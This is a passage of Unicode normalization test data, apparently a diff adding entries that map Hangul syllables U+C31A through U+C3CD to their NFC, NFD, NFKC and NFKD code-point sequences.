+{ source: [0xC31A], NFC: [0xC31A], NFD: [0x110A, 0x1162, 0x11AD], NFKC: [0xC31A], NFKD: [0x110A, 0x1162, 0x11AD] },
+{ source: [0xC31B], NFC: [0xC31B], NFD: [0x110A, 0x1162, 0x11AE], NFKC: [0xC31B], NFKD: [0x110A, 0x1162, 0x11AE] },
+{ source: [0xC31C], NFC: [0xC31C], NFD: [0x110A, 0x1162, 0x11AF], NFKC: [0xC31C], NFKD: [0x110A, 0x1162, 0x11AF] },
+{ source: [0xC31D], NFC: [0xC31D], NFD: [0x110A, 0x1162, 0x11B0], NFKC: [0xC31D], NFKD: [0x110A, 0x1162, 0x11B0] },
+{ source: [0xC31E], NFC: [0xC31E], NFD: [0x110A, 0x1162, 0x11B1], NFKC: [0xC31E], NFKD: [0x110A, 0x1162, 0x11B1] },
+{ source: [0xC31F], NFC: [0xC31F], NFD: [0x110A, 0x1162, 0x11B2], NFKC: [0xC31F], NFKD: [0x110A, 0x1162, 0x11B2] },
+{ source: [0xC320], NFC: [0xC320], NFD: [0x110A, 0x1162, 0x11B3], NFKC: [0xC320], NFKD: [0x110A, 0x1162, 0x11B3] },
+{ source: [0xC321], NFC: [0xC321], NFD: [0x110A, 0x1162, 0x11B4], NFKC: [0xC321], NFKD: [0x110A, 0x1162, 0x11B4] },
+{ source: [0xC322], NFC: [0xC322], NFD: [0x110A, 0x1162, 0x11B5], NFKC: [0xC322], NFKD: [0x110A, 0x1162, 0x11B5] },
+{ source: [0xC323], NFC: [0xC323], NFD: [0x110A, 0x1162, 0x11B6], NFKC: [0xC323], NFKD: [0x110A, 0x1162, 0x11B6] },
+{ source: [0xC324], NFC: [0xC324], NFD: [0x110A, 0x1162, 0x11B7], NFKC: [0xC324], NFKD: [0x110A, 0x1162, 0x11B7] },
+{ source: [0xC325], NFC: [0xC325], NFD: [0x110A, 0x1162, 0x11B8], NFKC: [0xC325], NFKD: [0x110A, 0x1162, 0x11B8] },
+{ source: [0xC326], NFC: [0xC326], NFD: [0x110A, 0x1162, 0x11B9], NFKC: [0xC326], NFKD: [0x110A, 0x1162, 0x11B9] },
+{ source: [0xC327], NFC: [0xC327], NFD: [0x110A, 0x1162, 0x11BA], NFKC: [0xC327], NFKD: [0x110A, 0x1162, 0x11BA] },
+{ source: [0xC328], NFC: [0xC328], NFD: [0x110A, 0x1162, 0x11BB], NFKC: [0xC328], NFKD: [0x110A, 0x1162, 0x11BB] },
+{ source: [0xC329], NFC: [0xC329], NFD: [0x110A, 0x1162, 0x11BC], NFKC: [0xC329], NFKD: [0x110A, 0x1162, 0x11BC] },
+{ source: [0xC32A], NFC: [0xC32A], NFD: [0x110A, 0x1162, 0x11BD], NFKC: [0xC32A], NFKD: [0x110A, 0x1162, 0x11BD] },
+{ source: [0xC32B], NFC: [0xC32B], NFD: [0x110A, 0x1162, 0x11BE], NFKC: [0xC32B], NFKD: [0x110A, 0x1162, 0x11BE] },
+{ source: [0xC32C], NFC: [0xC32C], NFD: [0x110A, 0x1162, 0x11BF], NFKC: [0xC32C], NFKD: [0x110A, 0x1162, 0x11BF] },
+{ source: [0xC32D], NFC: [0xC32D], NFD: [0x110A, 0x1162, 0x11C0], NFKC: [0xC32D], NFKD: [0x110A, 0x1162, 0x11C0] },
+{ source: [0xC32E], NFC: [0xC32E], NFD: [0x110A, 0x1162, 0x11C1], NFKC: [0xC32E], NFKD: [0x110A, 0x1162, 0x11C1] },
+{ source: [0xC32F], NFC: [0xC32F], NFD: [0x110A, 0x1162, 0x11C2], NFKC: [0xC32F], NFKD: [0x110A, 0x1162, 0x11C2] },
+{ source: [0xC330], NFC: [0xC330], NFD: [0x110A, 0x1163], NFKC: [0xC330], NFKD: [0x110A, 0x1163] },
+{ source: [0xC331], NFC: [0xC331], NFD: [0x110A, 0x1163, 0x11A8], NFKC: [0xC331], NFKD: [0x110A, 0x1163, 0x11A8] },
+{ source: [0xC332], NFC: [0xC332], NFD: [0x110A, 0x1163, 0x11A9], NFKC: [0xC332], NFKD: [0x110A, 0x1163, 0x11A9] },
+{ source: [0xC333], NFC: [0xC333], NFD: [0x110A, 0x1163, 0x11AA], NFKC: [0xC333], NFKD: [0x110A, 0x1163, 0x11AA] },
+{ source: [0xC334], NFC: [0xC334], NFD: [0x110A, 0x1163, 0x11AB], NFKC: [0xC334], NFKD: [0x110A, 0x1163, 0x11AB] },
+{ source: [0xC335], NFC: [0xC335], NFD: [0x110A, 0x1163, 0x11AC], NFKC: [0xC335], NFKD: [0x110A, 0x1163, 0x11AC] },
+{ source: [0xC336], NFC: [0xC336], NFD: [0x110A, 0x1163, 0x11AD], NFKC: [0xC336], NFKD: [0x110A, 0x1163, 0x11AD] },
+{ source: [0xC337], NFC: [0xC337], NFD: [0x110A, 0x1163, 0x11AE], NFKC: [0xC337], NFKD: [0x110A, 0x1163, 0x11AE] },
+{ source: [0xC338], NFC: [0xC338], NFD: [0x110A, 0x1163, 0x11AF], NFKC: [0xC338], NFKD: [0x110A, 0x1163, 0x11AF] },
+{ source: [0xC339], NFC: [0xC339], NFD: [0x110A, 0x1163, 0x11B0], NFKC: [0xC339], NFKD: [0x110A, 0x1163, 0x11B0] },
+{ source: [0xC33A], NFC: [0xC33A], NFD: [0x110A, 0x1163, 0x11B1], NFKC: [0xC33A], NFKD: [0x110A, 0x1163, 0x11B1] },
+{ source: [0xC33B], NFC: [0xC33B], NFD: [0x110A, 0x1163, 0x11B2], NFKC: [0xC33B], NFKD: [0x110A, 0x1163, 0x11B2] },
+{ source: [0xC33C], NFC: [0xC33C], NFD: [0x110A, 0x1163, 0x11B3], NFKC: [0xC33C], NFKD: [0x110A, 0x1163, 0x11B3] },
+{ source: [0xC33D], NFC: [0xC33D], NFD: [0x110A, 0x1163, 0x11B4], NFKC: [0xC33D], NFKD: [0x110A, 0x1163, 0x11B4] },
+{ source: [0xC33E], NFC: [0xC33E], NFD: [0x110A, 0x1163, 0x11B5], NFKC: [0xC33E], NFKD: [0x110A, 0x1163, 0x11B5] },
+{ source: [0xC33F], NFC: [0xC33F], NFD: [0x110A, 0x1163, 0x11B6], NFKC: [0xC33F], NFKD: [0x110A, 0x1163, 0x11B6] },
+{ source: [0xC340], NFC: [0xC340], NFD: [0x110A, 0x1163, 0x11B7], NFKC: [0xC340], NFKD: [0x110A, 0x1163, 0x11B7] },
+{ source: [0xC341], NFC: [0xC341], NFD: [0x110A, 0x1163, 0x11B8], NFKC: [0xC341], NFKD: [0x110A, 0x1163, 0x11B8] },
+{ source: [0xC342], NFC: [0xC342], NFD: [0x110A, 0x1163, 0x11B9], NFKC: [0xC342], NFKD: [0x110A, 0x1163, 0x11B9] },
+{ source: [0xC343], NFC: [0xC343], NFD: [0x110A, 0x1163, 0x11BA], NFKC: [0xC343], NFKD: [0x110A, 0x1163, 0x11BA] },
+{ source: [0xC344], NFC: [0xC344], NFD: [0x110A, 0x1163, 0x11BB], NFKC: [0xC344], NFKD: [0x110A, 0x1163, 0x11BB] },
+{ source: [0xC345], NFC: [0xC345], NFD: [0x110A, 0x1163, 0x11BC], NFKC: [0xC345], NFKD: [0x110A, 0x1163, 0x11BC] },
+{ source: [0xC346], NFC: [0xC346], NFD: [0x110A, 0x1163, 0x11BD], NFKC: [0xC346], NFKD: [0x110A, 0x1163, 0x11BD] },
+{ source: [0xC347], NFC: [0xC347], NFD: [0x110A, 0x1163, 0x11BE], NFKC: [0xC347], NFKD: [0x110A, 0x1163, 0x11BE] },
+{ source: [0xC348], NFC: [0xC348], NFD: [0x110A, 0x1163, 0x11BF], NFKC: [0xC348], NFKD: [0x110A, 0x1163, 0x11BF] },
+{ source: [0xC349], NFC: [0xC349], NFD: [0x110A, 0x1163, 0x11C0], NFKC: [0xC349], NFKD: [0x110A, 0x1163, 0x11C0] },
+{ source: [0xC34A], NFC: [0xC34A], NFD: [0x110A, 0x1163, 0x11C1], NFKC: [0xC34A], NFKD: [0x110A, 0x1163, 0x11C1] },
+{ source: [0xC34B], NFC: [0xC34B], NFD: [0x110A, 0x1163, 0x11C2], NFKC: [0xC34B], NFKD: [0x110A, 0x1163, 0x11C2] },
+{ source: [0xC34C], NFC: [0xC34C], NFD: [0x110A, 0x1164], NFKC: [0xC34C], NFKD: [0x110A, 0x1164] },
+{ source: [0xC34D], NFC: [0xC34D], NFD: [0x110A, 0x1164, 0x11A8], NFKC: [0xC34D], NFKD: [0x110A, 0x1164, 0x11A8] },
+{ source: [0xC34E], NFC: [0xC34E], NFD: [0x110A, 0x1164, 0x11A9], NFKC: [0xC34E], NFKD: [0x110A, 0x1164, 0x11A9] },
+{ source: [0xC34F], NFC: [0xC34F], NFD: [0x110A, 0x1164, 0x11AA], NFKC: [0xC34F], NFKD: [0x110A, 0x1164, 0x11AA] },
+{ source: [0xC350], NFC: [0xC350], NFD: [0x110A, 0x1164, 0x11AB], NFKC: [0xC350], NFKD: [0x110A, 0x1164, 0x11AB] },
+{ source: [0xC351], NFC: [0xC351], NFD: [0x110A, 0x1164, 0x11AC], NFKC: [0xC351], NFKD: [0x110A, 0x1164, 0x11AC] },
+{ source: [0xC352], NFC: [0xC352], NFD: [0x110A, 0x1164, 0x11AD], NFKC: [0xC352], NFKD: [0x110A, 0x1164, 0x11AD] },
+{ source: [0xC353], NFC: [0xC353], NFD: [0x110A, 0x1164, 0x11AE], NFKC: [0xC353], NFKD: [0x110A, 0x1164, 0x11AE] },
+{ source: [0xC354], NFC: [0xC354], NFD: [0x110A, 0x1164, 0x11AF], NFKC: [0xC354], NFKD: [0x110A, 0x1164, 0x11AF] },
+{ source: [0xC355], NFC: [0xC355], NFD: [0x110A, 0x1164, 0x11B0], NFKC: [0xC355], NFKD: [0x110A, 0x1164, 0x11B0] },
+{ source: [0xC356], NFC: [0xC356], NFD: [0x110A, 0x1164, 0x11B1], NFKC: [0xC356], NFKD: [0x110A, 0x1164, 0x11B1] },
+{ source: [0xC357], NFC: [0xC357], NFD: [0x110A, 0x1164, 0x11B2], NFKC: [0xC357], NFKD: [0x110A, 0x1164, 0x11B2] },
+{ source: [0xC358], NFC: [0xC358], NFD: [0x110A, 0x1164, 0x11B3], NFKC: [0xC358], NFKD: [0x110A, 0x1164, 0x11B3] },
+{ source: [0xC359], NFC: [0xC359], NFD: [0x110A, 0x1164, 0x11B4], NFKC: [0xC359], NFKD: [0x110A, 0x1164, 0x11B4] },
+{ source: [0xC35A], NFC: [0xC35A], NFD: [0x110A, 0x1164, 0x11B5], NFKC: [0xC35A], NFKD: [0x110A, 0x1164, 0x11B5] },
+{ source: [0xC35B], NFC: [0xC35B], NFD: [0x110A, 0x1164, 0x11B6], NFKC: [0xC35B], NFKD: [0x110A, 0x1164, 0x11B6] },
+{ source: [0xC35C], NFC: [0xC35C], NFD: [0x110A, 0x1164, 0x11B7], NFKC: [0xC35C], NFKD: [0x110A, 0x1164, 0x11B7] },
+{ source: [0xC35D], NFC: [0xC35D], NFD: [0x110A, 0x1164, 0x11B8], NFKC: [0xC35D], NFKD: [0x110A, 0x1164, 0x11B8] },
+{ source: [0xC35E], NFC: [0xC35E], NFD: [0x110A, 0x1164, 0x11B9], NFKC: [0xC35E], NFKD: [0x110A, 0x1164, 0x11B9] },
+{ source: [0xC35F], NFC: [0xC35F], NFD: [0x110A, 0x1164, 0x11BA], NFKC: [0xC35F], NFKD: [0x110A, 0x1164, 0x11BA] },
+{ source: [0xC360], NFC: [0xC360], NFD: [0x110A, 0x1164, 0x11BB], NFKC: [0xC360], NFKD: [0x110A, 0x1164, 0x11BB] },
+{ source: [0xC361], NFC: [0xC361], NFD: [0x110A, 0x1164, 0x11BC], NFKC: [0xC361], NFKD: [0x110A, 0x1164, 0x11BC] },
+{ source: [0xC362], NFC: [0xC362], NFD: [0x110A, 0x1164, 0x11BD], NFKC: [0xC362], NFKD: [0x110A, 0x1164, 0x11BD] },
+{ source: [0xC363], NFC: [0xC363], NFD: [0x110A, 0x1164, 0x11BE], NFKC: [0xC363], NFKD: [0x110A, 0x1164, 0x11BE] },
+{ source: [0xC364], NFC: [0xC364], NFD: [0x110A, 0x1164, 0x11BF], NFKC: [0xC364], NFKD: [0x110A, 0x1164, 0x11BF] },
+{ source: [0xC365], NFC: [0xC365], NFD: [0x110A, 0x1164, 0x11C0], NFKC: [0xC365], NFKD: [0x110A, 0x1164, 0x11C0] },
+{ source: [0xC366], NFC: [0xC366], NFD: [0x110A, 0x1164, 0x11C1], NFKC: [0xC366], NFKD: [0x110A, 0x1164, 0x11C1] },
+{ source: [0xC367], NFC: [0xC367], NFD: [0x110A, 0x1164, 0x11C2], NFKC: [0xC367], NFKD: [0x110A, 0x1164, 0x11C2] },
+{ source: [0xC368], NFC: [0xC368], NFD: [0x110A, 0x1165], NFKC: [0xC368], NFKD: [0x110A, 0x1165] },
+{ source: [0xC369], NFC: [0xC369], NFD: [0x110A, 0x1165, 0x11A8], NFKC: [0xC369], NFKD: [0x110A, 0x1165, 0x11A8] },
+{ source: [0xC36A], NFC: [0xC36A], NFD: [0x110A, 0x1165, 0x11A9], NFKC: [0xC36A], NFKD: [0x110A, 0x1165, 0x11A9] },
+{ source: [0xC36B], NFC: [0xC36B], NFD: [0x110A, 0x1165, 0x11AA], NFKC: [0xC36B], NFKD: [0x110A, 0x1165, 0x11AA] },
+{ source: [0xC36C], NFC: [0xC36C], NFD: [0x110A, 0x1165, 0x11AB], NFKC: [0xC36C], NFKD: [0x110A, 0x1165, 0x11AB] },
+{ source: [0xC36D], NFC: [0xC36D], NFD: [0x110A, 0x1165, 0x11AC], NFKC: [0xC36D], NFKD: [0x110A, 0x1165, 0x11AC] },
+{ source: [0xC36E], NFC: [0xC36E], NFD: [0x110A, 0x1165, 0x11AD], NFKC: [0xC36E], NFKD: [0x110A, 0x1165, 0x11AD] },
+{ source: [0xC36F], NFC: [0xC36F], NFD: [0x110A, 0x1165, 0x11AE], NFKC: [0xC36F], NFKD: [0x110A, 0x1165, 0x11AE] },
+{ source: [0xC370], NFC: [0xC370], NFD: [0x110A, 0x1165, 0x11AF], NFKC: [0xC370], NFKD: [0x110A, 0x1165, 0x11AF] },
+{ source: [0xC371], NFC: [0xC371], NFD: [0x110A, 0x1165, 0x11B0], NFKC: [0xC371], NFKD: [0x110A, 0x1165, 0x11B0] },
+{ source: [0xC372], NFC: [0xC372], NFD: [0x110A, 0x1165, 0x11B1], NFKC: [0xC372], NFKD: [0x110A, 0x1165, 0x11B1] },
+{ source: [0xC373], NFC: [0xC373], NFD: [0x110A, 0x1165, 0x11B2], NFKC: [0xC373], NFKD: [0x110A, 0x1165, 0x11B2] },
+{ source: [0xC374], NFC: [0xC374], NFD: [0x110A, 0x1165, 0x11B3], NFKC: [0xC374], NFKD: [0x110A, 0x1165, 0x11B3] },
+{ source: [0xC375], NFC: [0xC375], NFD: [0x110A, 0x1165, 0x11B4], NFKC: [0xC375], NFKD: [0x110A, 0x1165, 0x11B4] },
+{ source: [0xC376], NFC: [0xC376], NFD: [0x110A, 0x1165, 0x11B5], NFKC: [0xC376], NFKD: [0x110A, 0x1165, 0x11B5] },
+{ source: [0xC377], NFC: [0xC377], NFD: [0x110A, 0x1165, 0x11B6], NFKC: [0xC377], NFKD: [0x110A, 0x1165, 0x11B6] },
+{ source: [0xC378], NFC: [0xC378], NFD: [0x110A, 0x1165, 0x11B7], NFKC: [0xC378], NFKD: [0x110A, 0x1165, 0x11B7] },
+{ source: [0xC379], NFC: [0xC379], NFD: [0x110A, 0x1165, 0x11B8], NFKC: [0xC379], NFKD: [0x110A, 0x1165, 0x11B8] },
+{ source: [0xC37A], NFC: [0xC37A], NFD: [0x110A, 0x1165, 0x11B9], NFKC: [0xC37A], NFKD: [0x110A, 0x1165, 0x11B9] },
+{ source: [0xC37B], NFC: [0xC37B], NFD: [0x110A, 0x1165, 0x11BA], NFKC: [0xC37B], NFKD: [0x110A, 0x1165, 0x11BA] },
+{ source: [0xC37C], NFC: [0xC37C], NFD: [0x110A, 0x1165, 0x11BB], NFKC: [0xC37C], NFKD: [0x110A, 0x1165, 0x11BB] },
+{ source: [0xC37D], NFC: [0xC37D], NFD: [0x110A, 0x1165, 0x11BC], NFKC: [0xC37D], NFKD: [0x110A, 0x1165, 0x11BC] },
+{ source: [0xC37E], NFC: [0xC37E], NFD: [0x110A, 0x1165, 0x11BD], NFKC: [0xC37E], NFKD: [0x110A, 0x1165, 0x11BD] },
+{ source: [0xC37F], NFC: [0xC37F], NFD: [0x110A, 0x1165, 0x11BE], NFKC: [0xC37F], NFKD: [0x110A, 0x1165, 0x11BE] },
+{ source: [0xC380], NFC: [0xC380], NFD: [0x110A, 0x1165, 0x11BF], NFKC: [0xC380], NFKD: [0x110A, 0x1165, 0x11BF] },
+{ source: [0xC381], NFC: [0xC381], NFD: [0x110A, 0x1165, 0x11C0], NFKC: [0xC381], NFKD: [0x110A, 0x1165, 0x11C0] },
+{ source: [0xC382], NFC: [0xC382], NFD: [0x110A, 0x1165, 0x11C1], NFKC: [0xC382], NFKD: [0x110A, 0x1165, 0x11C1] },
+{ source: [0xC383], NFC: [0xC383], NFD: [0x110A, 0x1165, 0x11C2], NFKC: [0xC383], NFKD: [0x110A, 0x1165, 0x11C2] },
+{ source: [0xC384], NFC: [0xC384], NFD: [0x110A, 0x1166], NFKC: [0xC384], NFKD: [0x110A, 0x1166] },
+{ source: [0xC385], NFC: [0xC385], NFD: [0x110A, 0x1166, 0x11A8], NFKC: [0xC385], NFKD: [0x110A, 0x1166, 0x11A8] },
+{ source: [0xC386], NFC: [0xC386], NFD: [0x110A, 0x1166, 0x11A9], NFKC: [0xC386], NFKD: [0x110A, 0x1166, 0x11A9] },
+{ source: [0xC387], NFC: [0xC387], NFD: [0x110A, 0x1166, 0x11AA], NFKC: [0xC387], NFKD: [0x110A, 0x1166, 0x11AA] },
+{ source: [0xC388], NFC: [0xC388], NFD: [0x110A, 0x1166, 0x11AB], NFKC: [0xC388], NFKD: [0x110A, 0x1166, 0x11AB] },
+{ source: [0xC389], NFC: [0xC389], NFD: [0x110A, 0x1166, 0x11AC], NFKC: [0xC389], NFKD: [0x110A, 0x1166, 0x11AC] },
+{ source: [0xC38A], NFC: [0xC38A], NFD: [0x110A, 0x1166, 0x11AD], NFKC: [0xC38A], NFKD: [0x110A, 0x1166, 0x11AD] },
+{ source: [0xC38B], NFC: [0xC38B], NFD: [0x110A, 0x1166, 0x11AE], NFKC: [0xC38B], NFKD: [0x110A, 0x1166, 0x11AE] },
+{ source: [0xC38C], NFC: [0xC38C], NFD: [0x110A, 0x1166, 0x11AF], NFKC: [0xC38C], NFKD: [0x110A, 0x1166, 0x11AF] },
+{ source: [0xC38D], NFC: [0xC38D], NFD: [0x110A, 0x1166, 0x11B0], NFKC: [0xC38D], NFKD: [0x110A, 0x1166, 0x11B0] },
+{ source: [0xC38E], NFC: [0xC38E], NFD: [0x110A, 0x1166, 0x11B1], NFKC: [0xC38E], NFKD: [0x110A, 0x1166, 0x11B1] },
+{ source: [0xC38F], NFC: [0xC38F], NFD: [0x110A, 0x1166, 0x11B2], NFKC: [0xC38F], NFKD: [0x110A, 0x1166, 0x11B2] },
+{ source: [0xC390], NFC: [0xC390], NFD: [0x110A, 0x1166, 0x11B3], NFKC: [0xC390], NFKD: [0x110A, 0x1166, 0x11B3] },
+{ source: [0xC391], NFC: [0xC391], NFD: [0x110A, 0x1166, 0x11B4], NFKC: [0xC391], NFKD: [0x110A, 0x1166, 0x11B4] },
+{ source: [0xC392], NFC: [0xC392], NFD: [0x110A, 0x1166, 0x11B5], NFKC: [0xC392], NFKD: [0x110A, 0x1166, 0x11B5] },
+{ source: [0xC393], NFC: [0xC393], NFD: [0x110A, 0x1166, 0x11B6], NFKC: [0xC393], NFKD: [0x110A, 0x1166, 0x11B6] },
+{ source: [0xC394], NFC: [0xC394], NFD: [0x110A, 0x1166, 0x11B7], NFKC: [0xC394], NFKD: [0x110A, 0x1166, 0x11B7] },
+{ source: [0xC395], NFC: [0xC395], NFD: [0x110A, 0x1166, 0x11B8], NFKC: [0xC395], NFKD: [0x110A, 0x1166, 0x11B8] },
+{ source: [0xC396], NFC: [0xC396], NFD: [0x110A, 0x1166, 0x11B9], NFKC: [0xC396], NFKD: [0x110A, 0x1166, 0x11B9] },
+{ source: [0xC397], NFC: [0xC397], NFD: [0x110A, 0x1166, 0x11BA], NFKC: [0xC397], NFKD: [0x110A, 0x1166, 0x11BA] },
+{ source: [0xC398], NFC: [0xC398], NFD: [0x110A, 0x1166, 0x11BB], NFKC: [0xC398], NFKD: [0x110A, 0x1166, 0x11BB] },
+{ source: [0xC399], NFC: [0xC399], NFD: [0x110A, 0x1166, 0x11BC], NFKC: [0xC399], NFKD: [0x110A, 0x1166, 0x11BC] },
+{ source: [0xC39A], NFC: [0xC39A], NFD: [0x110A, 0x1166, 0x11BD], NFKC: [0xC39A], NFKD: [0x110A, 0x1166, 0x11BD] },
+{ source: [0xC39B], NFC: [0xC39B], NFD: [0x110A, 0x1166, 0x11BE], NFKC: [0xC39B], NFKD: [0x110A, 0x1166, 0x11BE] },
+{ source: [0xC39C], NFC: [0xC39C], NFD: [0x110A, 0x1166, 0x11BF], NFKC: [0xC39C], NFKD: [0x110A, 0x1166, 0x11BF] },
+{ source: [0xC39D], NFC: [0xC39D], NFD: [0x110A, 0x1166, 0x11C0], NFKC: [0xC39D], NFKD: [0x110A, 0x1166, 0x11C0] },
+{ source: [0xC39E], NFC: [0xC39E], NFD: [0x110A, 0x1166, 0x11C1], NFKC: [0xC39E], NFKD: [0x110A, 0x1166, 0x11C1] },
+{ source: [0xC39F], NFC: [0xC39F], NFD: [0x110A, 0x1166, 0x11C2], NFKC: [0xC39F], NFKD: [0x110A, 0x1166, 0x11C2] },
+{ source: [0xC3A0], NFC: [0xC3A0], NFD: [0x110A, 0x1167], NFKC: [0xC3A0], NFKD: [0x110A, 0x1167] },
+{ source: [0xC3A1], NFC: [0xC3A1], NFD: [0x110A, 0x1167, 0x11A8], NFKC: [0xC3A1], NFKD: [0x110A, 0x1167, 0x11A8] },
+{ source: [0xC3A2], NFC: [0xC3A2], NFD: [0x110A, 0x1167, 0x11A9], NFKC: [0xC3A2], NFKD: [0x110A, 0x1167, 0x11A9] },
+{ source: [0xC3A3], NFC: [0xC3A3], NFD: [0x110A, 0x1167, 0x11AA], NFKC: [0xC3A3], NFKD: [0x110A, 0x1167, 0x11AA] },
+{ source: [0xC3A4], NFC: [0xC3A4], NFD: [0x110A, 0x1167, 0x11AB], NFKC: [0xC3A4], NFKD: [0x110A, 0x1167, 0x11AB] },
+{ source: [0xC3A5], NFC: [0xC3A5], NFD: [0x110A, 0x1167, 0x11AC], NFKC: [0xC3A5], NFKD: [0x110A, 0x1167, 0x11AC] },
+{ source: [0xC3A6], NFC: [0xC3A6], NFD: [0x110A, 0x1167, 0x11AD], NFKC: [0xC3A6], NFKD: [0x110A, 0x1167, 0x11AD] },
+{ source: [0xC3A7], NFC: [0xC3A7], NFD: [0x110A, 0x1167, 0x11AE], NFKC: [0xC3A7], NFKD: [0x110A, 0x1167, 0x11AE] },
+{ source: [0xC3A8], NFC: [0xC3A8], NFD: [0x110A, 0x1167, 0x11AF], NFKC: [0xC3A8], NFKD: [0x110A, 0x1167, 0x11AF] },
+{ source: [0xC3A9], NFC: [0xC3A9], NFD: [0x110A, 0x1167, 0x11B0], NFKC: [0xC3A9], NFKD: [0x110A, 0x1167, 0x11B0] },
+{ source: [0xC3AA], NFC: [0xC3AA], NFD: [0x110A, 0x1167, 0x11B1], NFKC: [0xC3AA], NFKD: [0x110A, 0x1167, 0x11B1] },
+{ source: [0xC3AB], NFC: [0xC3AB], NFD: [0x110A, 0x1167, 0x11B2], NFKC: [0xC3AB], NFKD: [0x110A, 0x1167, 0x11B2] },
+{ source: [0xC3AC], NFC: [0xC3AC], NFD: [0x110A, 0x1167, 0x11B3], NFKC: [0xC3AC], NFKD: [0x110A, 0x1167, 0x11B3] },
+{ source: [0xC3AD], NFC: [0xC3AD], NFD: [0x110A, 0x1167, 0x11B4], NFKC: [0xC3AD], NFKD: [0x110A, 0x1167, 0x11B4] },
+{ source: [0xC3AE], NFC: [0xC3AE], NFD: [0x110A, 0x1167, 0x11B5], NFKC: [0xC3AE], NFKD: [0x110A, 0x1167, 0x11B5] },
+{ source: [0xC3AF], NFC: [0xC3AF], NFD: [0x110A, 0x1167, 0x11B6], NFKC: [0xC3AF], NFKD: [0x110A, 0x1167, 0x11B6] },
+{ source: [0xC3B0], NFC: [0xC3B0], NFD: [0x110A, 0x1167, 0x11B7], NFKC: [0xC3B0], NFKD: [0x110A, 0x1167, 0x11B7] },
+{ source: [0xC3B1], NFC: [0xC3B1], NFD: [0x110A, 0x1167, 0x11B8], NFKC: [0xC3B1], NFKD: [0x110A, 0x1167, 0x11B8] },
+{ source: [0xC3B2], NFC: [0xC3B2], NFD: [0x110A, 0x1167, 0x11B9], NFKC: [0xC3B2], NFKD: [0x110A, 0x1167, 0x11B9] },
+{ source: [0xC3B3], NFC: [0xC3B3], NFD: [0x110A, 0x1167, 0x11BA], NFKC: [0xC3B3], NFKD: [0x110A, 0x1167, 0x11BA] },
+{ source: [0xC3B4], NFC: [0xC3B4], NFD: [0x110A, 0x1167, 0x11BB], NFKC: [0xC3B4], NFKD: [0x110A, 0x1167, 0x11BB] },
+{ source: [0xC3B5], NFC: [0xC3B5], NFD: [0x110A, 0x1167, 0x11BC], NFKC: [0xC3B5], NFKD: [0x110A, 0x1167, 0x11BC] },
+{ source: [0xC3B6], NFC: [0xC3B6], NFD: [0x110A, 0x1167, 0x11BD], NFKC: [0xC3B6], NFKD: [0x110A, 0x1167, 0x11BD] },
+{ source: [0xC3B7], NFC: [0xC3B7], NFD: [0x110A, 0x1167, 0x11BE], NFKC: [0xC3B7], NFKD: [0x110A, 0x1167, 0x11BE] },
+{ source: [0xC3B8], NFC: [0xC3B8], NFD: [0x110A, 0x1167, 0x11BF], NFKC: [0xC3B8], NFKD: [0x110A, 0x1167, 0x11BF] },
+{ source: [0xC3B9], NFC: [0xC3B9], NFD: [0x110A, 0x1167, 0x11C0], NFKC: [0xC3B9], NFKD: [0x110A, 0x1167, 0x11C0] },
+{ source: [0xC3BA], NFC: [0xC3BA], NFD: [0x110A, 0x1167, 0x11C1], NFKC: [0xC3BA], NFKD: [0x110A, 0x1167, 0x11C1] },
+{ source: [0xC3BB], NFC: [0xC3BB], NFD: [0x110A, 0x1167, 0x11C2], NFKC: [0xC3BB], NFKD: [0x110A, 0x1167, 0x11C2] },
+{ source: [0xC3BC], NFC: [0xC3BC], NFD: [0x110A, 0x1168], NFKC: [0xC3BC], NFKD: [0x110A, 0x1168] },
+{ source: [0xC3BD], NFC: [0xC3BD], NFD: [0x110A, 0x1168, 0x11A8], NFKC: [0xC3BD], NFKD: [0x110A, 0x1168, 0x11A8] },
+{ source: [0xC3BE], NFC: [0xC3BE], NFD: [0x110A, 0x1168, 0x11A9], NFKC: [0xC3BE], NFKD: [0x110A, 0x1168, 0x11A9] },
+{ source: [0xC3BF], NFC: [0xC3BF], NFD: [0x110A, 0x1168, 0x11AA], NFKC: [0xC3BF], NFKD: [0x110A, 0x1168, 0x11AA] },
+{ source: [0xC3C0], NFC: [0xC3C0], NFD: [0x110A, 0x1168, 0x11AB], NFKC: [0xC3C0], NFKD: [0x110A, 0x1168, 0x11AB] },
+{ source: [0xC3C1], NFC: [0xC3C1], NFD: [0x110A, 0x1168, 0x11AC], NFKC: [0xC3C1], NFKD: [0x110A, 0x1168, 0x11AC] },
+{ source: [0xC3C2], NFC: [0xC3C2], NFD: [0x110A, 0x1168, 0x11AD], NFKC: [0xC3C2], NFKD: [0x110A, 0x1168, 0x11AD] },
+{ source: [0xC3C3], NFC: [0xC3C3], NFD: [0x110A, 0x1168, 0x11AE], NFKC: [0xC3C3], NFKD: [0x110A, 0x1168, 0x11AE] },
+{ source: [0xC3C4], NFC: [0xC3C4], NFD: [0x110A, 0x1168, 0x11AF], NFKC: [0xC3C4], NFKD: [0x110A, 0x1168, 0x11AF] },
+{ source: [0xC3C5], NFC: [0xC3C5], NFD: [0x110A, 0x1168, 0x11B0], NFKC: [0xC3C5], NFKD: [0x110A, 0x1168, 0x11B0] },
+{ source: [0xC3C6], NFC: [0xC3C6], NFD: [0x110A, 0x1168, 0x11B1], NFKC: [0xC3C6], NFKD: [0x110A, 0x1168, 0x11B1] },
+{ source: [0xC3C7], NFC: [0xC3C7], NFD: [0x110A, 0x1168, 0x11B2], NFKC: [0xC3C7], NFKD: [0x110A, 0x1168, 0x11B2] },
+{ source: [0xC3C8], NFC: [0xC3C8], NFD: [0x110A, 0x1168, 0x11B3], NFKC: [0xC3C8], NFKD: [0x110A, 0x1168, 0x11B3] },
+{ source: [0xC3C9], NFC: [0xC3C9], NFD: [0x110A, 0x1168, 0x11B4], NFKC: [0xC3C9], NFKD: [0x110A, 0x1168, 0x11B4] },
+{ source: [0xC3CA], NFC: [0xC3CA], NFD: [0x110A, 0x1168, 0x11B5], NFKC: [0xC3CA], NFKD: [0x110A, 0x1168, 0x11B5] },
+{ source: [0xC3CB], NFC: [0xC3CB], NFD: [0x110A, 0x1168, 0x11B6], NFKC: [0xC3CB], NFKD: [0x110A, 0x1168, 0x11B6] },
+{ source: [0xC3CC], NFC: [0xC3CC], NFD: [0x110A, 0x1168, 0x11B7], NFKC: [0xC3CC], NFKD: [0x110A, 0x1168, 0x11B7] },
+{ source: [0xC3CD], NFC: [0xC3CD], NFD: [0x110A, 0x1168, 0x11B8], NFKC: [0xC3CD], NFKD: [0x110A, 0x1168, 0x11B8] },
